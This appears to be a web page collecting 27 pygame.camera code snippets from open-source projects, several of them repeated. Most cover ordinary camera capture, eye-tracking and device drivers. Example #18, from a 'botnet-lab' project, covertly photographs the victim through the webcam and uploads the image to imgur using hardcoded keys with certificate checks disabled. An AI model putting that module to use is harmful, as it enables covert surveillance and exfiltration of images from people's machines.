Python pygame.camera() Examples
The following are 27
code examples of pygame.camera().
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Example #1
Source File: camera.py From fxxkpython with GNU General Public License v3.0 | 6 votes |
def get_and_flip(self): # if you don't want to tie the framerate to the camera, you can check and # see if the camera has an image ready. note that while this works # on most cameras, some will never return true. if 0 and self.camera.query_image(): # capture an image self.snapshot = self.camera.get_image(self.snapshot) if 0: self.snapshot = self.camera.get_image(self.snapshot) #self.snapshot = self.camera.get_image() # blit it to the display surface. simple! self.display.blit(self.snapshot, (0,0)) else: self.snapshot = self.camera.get_image(self.display) #self.display.blit(self.snapshot, (0,0)) pygame.display.flip()
Example #2
Source File: camera.py From fxxkpython with GNU General Public License v3.0 | 6 votes |
def init_cams(self, which_cam_idx): # gets a list of available cameras. self.clist = pygame.camera.list_cameras() print (self.clist) if not self.clist: raise ValueError("Sorry, no cameras detected.") try: cam_id = self.clist[which_cam_idx] except IndexError: cam_id = self.clist[0] # creates the camera of the specified size and in RGB colorspace self.camera = pygame.camera.Camera(cam_id, self.size, "RGB") # starts the camera self.camera.start() self.clock = pygame.time.Clock() # create a surface to capture to. for performance purposes, you want the # bit depth to be the same as that of the display surface. self.snapshot = pygame.surface.Surface(self.size, 0, self.display)
Example #3
Source File: cameraInput.py From crazyflieROS with GNU General Public License v2.0 | 6 votes |
def start(self, device, maxSize=(1280,720)): #cam = self.getCam() if self.camTimer.isActive(): self.stop() logger.info("Using camera: %s", device) # Open Camera self.cam = pygame.camera.Camera(device, maxSize) # Start Camera self.cam.start() # Get actual capture size self.size = self.cam.get_size() # Init surface buffer self.buffer = pygame.surface.Surface(self.size) logger.info("Detected size: %d*%d", self.size[0], self.size[1]) # Start polling at 50hz self.setMaxFPS(fps=50) self.sigPlaying.emit(True)
Example #4
Source File: camera.py From fxxkpython with GNU General Public License v3.0 | 6 votes |
def get_and_flip(self): # if you don't want to tie the framerate to the camera, you can check and # see if the camera has an image ready. note that while this works # on most cameras, some will never return true. if 0 and self.camera.query_image(): # capture an image self.snapshot = self.camera.get_image(self.snapshot) if 0: self.snapshot = self.camera.get_image(self.snapshot) #self.snapshot = self.camera.get_image() # blit it to the display surface. simple! self.display.blit(self.snapshot, (0,0)) else: self.snapshot = self.camera.get_image(self.display) #self.display.blit(self.snapshot, (0,0)) pygame.display.flip()
Example #5
Source File: camera.py From fxxkpython with GNU General Public License v3.0 | 6 votes |
def init_cams(self, which_cam_idx): # gets a list of available cameras. self.clist = pygame.camera.list_cameras() print (self.clist) if not self.clist: raise ValueError("Sorry, no cameras detected.") try: cam_id = self.clist[which_cam_idx] except IndexError: cam_id = self.clist[0] # creates the camera of the specified size and in RGB colorspace self.camera = pygame.camera.Camera(cam_id, self.size, "RGB") # starts the camera self.camera.start() self.clock = pygame.time.Clock() # create a surface to capture to. for performance purposes, you want the # bit depth to be the same as that of the display surface. self.snapshot = pygame.surface.Surface(self.size, 0, self.display)
Example #6
Source File: camera.py From fxxkpython with GNU General Public License v3.0 | 6 votes |
def get_and_flip(self): # if you don't want to tie the framerate to the camera, you can check and # see if the camera has an image ready. note that while this works # on most cameras, some will never return true. if 0 and self.camera.query_image(): # capture an image self.snapshot = self.camera.get_image(self.snapshot) if 0: self.snapshot = self.camera.get_image(self.snapshot) #self.snapshot = self.camera.get_image() # blit it to the display surface. simple! self.display.blit(self.snapshot, (0,0)) else: self.snapshot = self.camera.get_image(self.display) #self.display.blit(self.snapshot, (0,0)) pygame.display.flip()
Example #7
Source File: usb_camera_driver.py From openag-device-software with GNU General Public License v3.0 | 6 votes |
def capture(self, retry: bool = True) -> None: """Captures an image from a camera or set of non-unique cameras.""" super().capture(retry=retry) # Capture images try: # with self.usb_camera_lock: self.enable_cameras(wait_for_enable=True, timeout=10) self.capture_images() self.disable_cameras(wait_for_disable=True, timeout=10) except DAC5578DriverError as e: raise exceptions.CaptureError(logger=self.logger) from e except Exception as e: message = "Unable to capture, unhandled exception: {}".format(type(e)) self.logger.warning(message) raise exceptions.CaptureError(logger=self.logger) from e
Example #8
Source File: camera.py From fxxkpython with GNU General Public License v3.0 | 6 votes |
def init_cams(self, which_cam_idx): # gets a list of available cameras. self.clist = pygame.camera.list_cameras() print (self.clist) if not self.clist: raise ValueError("Sorry, no cameras detected.") try: cam_id = self.clist[which_cam_idx] except IndexError: cam_id = self.clist[0] # creates the camera of the specified size and in RGB colorspace self.camera = pygame.camera.Camera(cam_id, self.size, "RGB") # starts the camera self.camera.start() self.clock = pygame.time.Clock() # create a surface to capture to. for performance purposes, you want the # bit depth to be the same as that of the display surface. self.snapshot = pygame.surface.Surface(self.size, 0, self.display)
Example #9
Source File: camera.py From fxxkpython with GNU General Public License v3.0 | 6 votes |
def get_and_flip(self): # if you don't want to tie the framerate to the camera, you can check and # see if the camera has an image ready. note that while this works # on most cameras, some will never return true. if 0 and self.camera.query_image(): # capture an image self.snapshot = self.camera.get_image(self.snapshot) if 0: self.snapshot = self.camera.get_image(self.snapshot) #self.snapshot = self.camera.get_image() # blit it to the display surface. simple! self.display.blit(self.snapshot, (0,0)) else: self.snapshot = self.camera.get_image(self.display) #self.display.blit(self.snapshot, (0,0)) pygame.display.flip()
Example #10
Source File: scannStart.py From simple3dscanner with MIT License | 6 votes |
def oneSave(angleStep): #=angle global sMat, bb, fp rr=0 #x=startx #camera picture X y=sTop #camera picture Y #---export xyz--- to filename.xyz y=sTop+1 while y<height-sBott: xx = sMat[y-sTop][angleStep] if xx!=0 and xx>-200: angle=float(2*pi/(loop-1)*angleStep) rx=float(math.sin(angle)*xx*nasDef) ry=float(math.cos(angle)*xx*nasDef) rz = y co = str(rx)+" "+str(ry)+" "+str(rz) #cop = str(angle)+" > "+str(xx)+" > "+co #print cop fp.write(co+"\n") y=y+kroky #time.sleep(0.2)
Example #11
Source File: camera.py From fxxkpython with GNU General Public License v3.0 | 6 votes |
def init_cams(self, which_cam_idx): # gets a list of available cameras. self.clist = pygame.camera.list_cameras() print (self.clist) if not self.clist: raise ValueError("Sorry, no cameras detected.") try: cam_id = self.clist[which_cam_idx] except IndexError: cam_id = self.clist[0] # creates the camera of the specified size and in RGB colorspace self.camera = pygame.camera.Camera(cam_id, self.size, "RGB") # starts the camera self.camera.start() self.clock = pygame.time.Clock() # create a surface to capture to. for performance purposes, you want the # bit depth to be the same as that of the display surface. self.snapshot = pygame.surface.Surface(self.size, 0, self.display)
Example #12
Source File: camtracker.py From webcam-eyetracker with GNU General Public License v3.0 | 6 votes |
def available_devices(): """Returns a list of available device names or numbers; each name or number can be used to pass as Setup's device keyword argument arguments None keyword arguments None returns devlist -- a list of device names or numbers, e.g. ['/dev/video0','/dev/video1'] or [0,1] """ return pygame.camera.list_cameras() # # # # # # classes
Example #13
Source File: camtracker.py From webcam-eyetracker with GNU General Public License v3.0 | 6 votes |
def close(self): """Shuts down connection to the webcam and closes logfile arguments None keyword arguments None returns None """ # close camera self.cam.stop()
Example #14
Source File: cameraInput.py From crazyflieROS with GNU General Public License v2.0 | 5 votes |
def __init__(self,parent=None): super(QtCore.QObject, self).__init__(parent) pygame.init() #Do we need this? Or is it done already elsewhere pygame.camera.init() self.cam = None self.buffer = None self.size = (1280, 720) # Get new image from camera at cam fps self.camTimer = QtCore.QTimer(self) self.camTimer.timeout.connect(self.emitNextFrame)
Example #15
Source File: camera.py From fxxkpython with GNU General Public License v3.0 | 5 votes |
def main(): pygame.init() pygame.camera.init() VideoCapturePlayer().main() pygame.quit()
Example #16
Source File: camera.py From fxxkpython with GNU General Public License v3.0 | 5 votes |
def main(): pygame.init() pygame.camera.init() VideoCapturePlayer().main() pygame.quit()
Example #17
Source File: usb_camera_driver.py From openag-device-software with GNU General Public License v3.0 | 5 votes |
def capture_images(self) -> None: """Captures an image from each active camera.""" self.logger.debug("Capturing images") # Get real or simulated camera paths if not self.simulate: camera_paths = usb.get_camera_paths(self.vendor_id, self.product_id) else: camera_paths = [] for i in range(self.num_cameras): camera_paths.append("simulate_path") # Check correct number of camera paths num_detected = len(camera_paths) if num_detected != self.num_cameras: message = "Incorrect number of cameras detected, expected {}, detected {}".format( self.num_cameras, num_detected ) message += ". Proceeding with capture anyway" self.logger.warning(message) # Capture an image from each active camera for index, camera_path in enumerate(camera_paths): # Get timestring in ISO8601 format timestring = datetime.datetime.utcnow().strftime("%Y-%m-%d-T%H:%M:%SZ") # Get filename for individual camera or camera instance in set if self.num_cameras == 1: filename = "{}_{}.png".format(timestring, self.name) else: filename = "{}_{}.{}.png".format(timestring, self.name, index + 1) # Create image path capture_image_path = self.capture_dir + filename final_image_path = self.directory + filename # Capture image self.capture_image_pygame(camera_path, capture_image_path) shutil.move(capture_image_path, final_image_path)
Example #18
Source File: webcam.py From botnet-lab with MIT License | 5 votes |
def webcam(): client_id = "2ed32bb280dd0b8" pygame.camera.init() # pygame.camera.list_camera() #Camera detected or not try: if os.name == "nt": cam = pygame.camera.Camera(0, (640, 480)) else: cam = pygame.camera.Camera("/dev/video0", (640, 480)) cam.start() except: return "error finding a camera" img = cam.get_image() pygame.image.save(img, "im.png") headers = {"Authorization": "Client-ID 2ed32bb280dd0b8"} api_key = 'eb215a75b4e3b0e3604c42b98f3ab7b41656ddfb' url = "https://api.imgur.com/3/upload.json" j1 = requests.post( url, headers=headers, data={ 'key': api_key, 'image': b64encode(open('im.png', 'rb').read()), 'type': 'base64', 'name': 'im.png', 'title': 'screen' }, verify=False ) os.remove('im.png') return json.loads(j1.text)["data"]["link"]
Example #19
Source File: cameraInput.py From crazyflieROS with GNU General Public License v2.0 | 5 votes |
def setMaxFPS(self, fps=50): """ Sets the camera polling rate. How fast images are emitted ultimately depends on the camera.""" self.camTimer.start(1000/50)
Example #20
Source File: cameraInput.py From crazyflieROS with GNU General Public License v2.0 | 5 votes |
def stop(self): """Start running and polling the camera""" # Stop polling camera self.camTimer.stop() # Turn off camera if self.cam is not None: self.cam.stop() self.sigPlaying.emit(False)
Example #21
Source File: cameraInput.py From crazyflieROS with GNU General Public License v2.0 | 5 votes |
def getDevices(self): return pygame.camera.list_cameras()
Example #22
Source File: camtracker.py From webcam-eyetracker with GNU General Public License v3.0 | 4 votes |
def __init__(self, device=None, camres=(640,480)): """Initializes a CamEyeTracker instance arguments None keyword arguments device -- a string or an integer, indicating either device name (e.g. '/dev/video0'), or a device number (e.g. 0); None can be passed too, in this case Setup will autodetect a useable device (default = None) camres -- the resolution of the webcam, e.g. (640,480) (default = (640,480)) """ global vcAvailable if vcAvailable == False: # select a device if none was selected if device == None: available = available_devices() if available == []: raise Exception("Error in camtracker.CamEyeTracker.__init__: no available camera devices found (did you forget to plug it in?)") else: device = available[0] # start the webcam self.cam = pygame.camera.Camera(device, camres, 'RGB') self.cam.start() else: self.cam = VideoCapture.Device() # get the webcam resolution (get_size not available on all systems) try: self.camres = self.cam.get_size() except: self.camres = camres # default settings self.settings = {'pupilcol':(0,0,0), \ 'threshold':100, \ 'nonthresholdcol':(100,100,255,255), \ 'pupilpos':(-1,-1), \ 'pupilrect':pygame.Rect(self.camres[0]/2-50,self.camres[1]/2-25,100,50), \ 'pupilbounds': [0,0,0,0], \ '':None }
Example #23
Source File: classify_capture.py From examples-camera with Apache License 2.0 | 4 votes |
def main(): default_model_dir = '../all_models' default_model = 'mobilenet_v2_1.0_224_quant_edgetpu.tflite' default_labels = 'imagenet_labels.txt' parser = argparse.ArgumentParser() parser.add_argument('--model', help='.tflite model path', default=os.path.join(default_model_dir,default_model)) parser.add_argument('--labels', help='label file path', default=os.path.join(default_model_dir, default_labels)) args = parser.parse_args() with open(args.labels, 'r') as f: pairs = (l.strip().split(maxsplit=1) for l in f.readlines()) labels = dict((int(k), v) for k, v in pairs) interpreter = common.make_interpreter(args.model) interpreter.allocate_tensors() pygame.init() pygame.camera.init() camlist = pygame.camera.list_cameras() print('By default using camera: ', camlist[-1]) camera = pygame.camera.Camera(camlist[-1], (640, 480)) width, height, channels = common.input_image_size(interpreter) camera.start() try: fps = deque(maxlen=20) fps.append(time.time()) while True: imagen = camera.get_image() imagen = pygame.transform.scale(imagen, (width, height)) input = np.frombuffer(imagen.get_buffer(), dtype=np.uint8) start_ms = time.time() common.input_tensor(interpreter)[:,:] = np.reshape(input, (common.input_image_size(interpreter))) interpreter.invoke() results = get_output(interpreter, top_k=3, score_threshold=0) inference_ms = (time.time() - start_ms)*1000.0 fps.append(time.time()) fps_ms = len(fps)/(fps[-1] - fps[0]) annotate_text = 'Inference: {:5.2f}ms FPS: {:3.1f}'.format(inference_ms, fps_ms) for result in results: annotate_text += '\n{:.0f}% {}'.format(100*result[1], labels[result[0]]) print(annotate_text) finally: camera.stop()
Example #24
Source File: usb_camera_driver.py From openag-device-software with GNU General Public License v3.0 | 4 votes |
def disable_cameras( self, wait_for_disable: bool = False, timeout: float = 5, retry: bool = True ) -> None: """Disables camera by setting dac output low.""" self.logger.debug("Disabling cameras") # Check if using usb mux if not self.usb_mux_enabled: self.logger.debug("Cameras always enabled, not using mux") return # Turn off usb mux channel try: channel = self.usb_mux_channel self.dac5578.set_low(channel=channel, retry=retry) except DAC5578DriverError as e: raise exceptions.DisableCameraError(logger=self.logger) from e # Check if waiting for disable if not wait_for_disable: return # Wait for camera to be disabled self.logger.debug("Waiting for cameras to become disabled") # Check if simulated if self.simulate: self.logger.debug("Simulated camera disable complete") return # Initialize timing variables start_time = time.time() # Loop forever while True: # Look for camera try: camera_paths = usb.get_camera_paths(self.vendor_id, self.product_id) # Check if all cameras are disables if camera_paths == []: self.logger.debug("All cameras disabled") return except Exception as e: raise exceptions.DisableCameraError(logger=self.logger) from e # Check for timeout if time.time() - start_time > timeout: message = "timed out" raise exceptions.DisableCameraError(message=message, logger=self.logger) # Update every 100ms time.sleep(0.1)
Example #25
Source File: usb_camera_driver.py From openag-device-software with GNU General Public License v3.0 | 4 votes |
def enable_cameras( self, wait_for_enable: bool = False, timeout: float = 5, retry: bool = True ) -> None: """Enables camera by setting dac output high.""" self.logger.debug("Enabling cameras") # Check if using usb mux if not self.usb_mux_enabled: self.logger.debug("Cameras always enabled, not using mux") return # Turn on usb mux channel try: channel = self.usb_mux_channel self.dac5578.set_high(channel=channel, retry=retry) except DAC5578DriverError as e: raise exceptions.EnableCameraError(logger=self.logger) from e # Check if waiting for enable if not wait_for_enable: return # Wait for camera to be enabled self.logger.debug("Waiting for cameras to become enabled") # Check if simulated if self.simulate: self.logger.debug("Simulated camera enable complete") return # Initialize timing variables start_time = time.time() # Loop forever while True: # Look for camera try: camera_paths = usb.get_camera_paths(self.vendor_id, self.product_id) # Check if camera powered down if len(camera_paths) == self.num_cameras: self.logger.debug("All cameras enabled") return except Exception as e: raise exceptions.DisableCameraError(logger=self.logger) from e # Check for timeout if time.time() - start_time > timeout: message = "timed out" raise exceptions.EnableCameraError(message=message, logger=self.logger) # Update every 100ms time.sleep(0.1)
Example #26
Source File: usb_camera_driver.py From openag-device-software with GNU General Public License v3.0 | 4 votes |
def __init__( self, name: str, vendor_id: int, product_id: int, resolution: str, num_cameras: int = 1, simulate: bool = False, usb_mux_comms: Optional[Dict[str, Any]] = None, usb_mux_channel: Optional[int] = None, i2c_lock: Optional[threading.RLock] = None, mux_simulator: Optional[MuxSimulator] = None ) -> None: # pygame only supports Linux. If not running Linux, then simulate. if PLATFORM is not None and PLATFORM != "osx-machine" and PLATFORM != "unknown": # Initialize pygame pygame.init() pygame.camera.init() self.simulate = simulate pygame_loaded = True else: self.simulate = True pygame_loaded = False super().__init__(name=name, vendor_id=vendor_id, product_id=product_id, resolution=resolution, num_cameras=num_cameras, simulate=self.simulate, usb_mux_comms=usb_mux_comms, usb_mux_channel=usb_mux_channel, i2c_lock=i2c_lock, mux_simulator=mux_simulator) # USB camera specific setup # pygame only supports Linux. If not running Linux, then simulate. if not pygame_loaded: self.logger.info( "Not running on Linux OS, so pygame is not supported. Turning on simulation mode." ) # Using usb mux, initialize driver if not self.simulate and self.usb_mux_enabled: try: self.dac5578 = DAC5578Driver( name=name, i2c_lock=i2c_lock, # type: ignore bus=self.bus, mux=self.mux, channel=self.channel, address=self.address, simulate=self.simulate, mux_simulator=mux_simulator, ) self.usb_mux_channel = usb_mux_channel except I2CError as e: raise exceptions.InitError(logger=self.logger) from e
Example #27
Source File: gui.py From openag_brain_box with GNU General Public License v3.0 | 4 votes |
def __init__(self): try: pygame.init() pygame.camera.init() pygame.mouse.set_visible(False) self.screen = pygame.display.set_mode((800,480),pygame.NOFRAME) self.cam_list = pygame.camera.list_cameras() self.webcam = pygame.camera.Camera(self.cam_list[0],(32,24)) self.webcam.start() logger.info('Initialized pygame display') except: logger.warning('Unable to initialize pygame display') try: self.shared = memcache.Client(['127.0.0.1:11211'], debug=0) logger.info('Initialized memcache client') except: logger.warning('Unable to initialize memcache client') self.canny = False self.ph = '6.5' self.ec = '3.2' self.water_temp = '20.1' self.air_temp = '21.1' self.humidity = '38' self.co2 = '410' self.o2 = '17.1' # self.figure = matplotlib.pyplot.figure() # self.plot = self.figure.add_subplot(111) # self.runSeabornEx()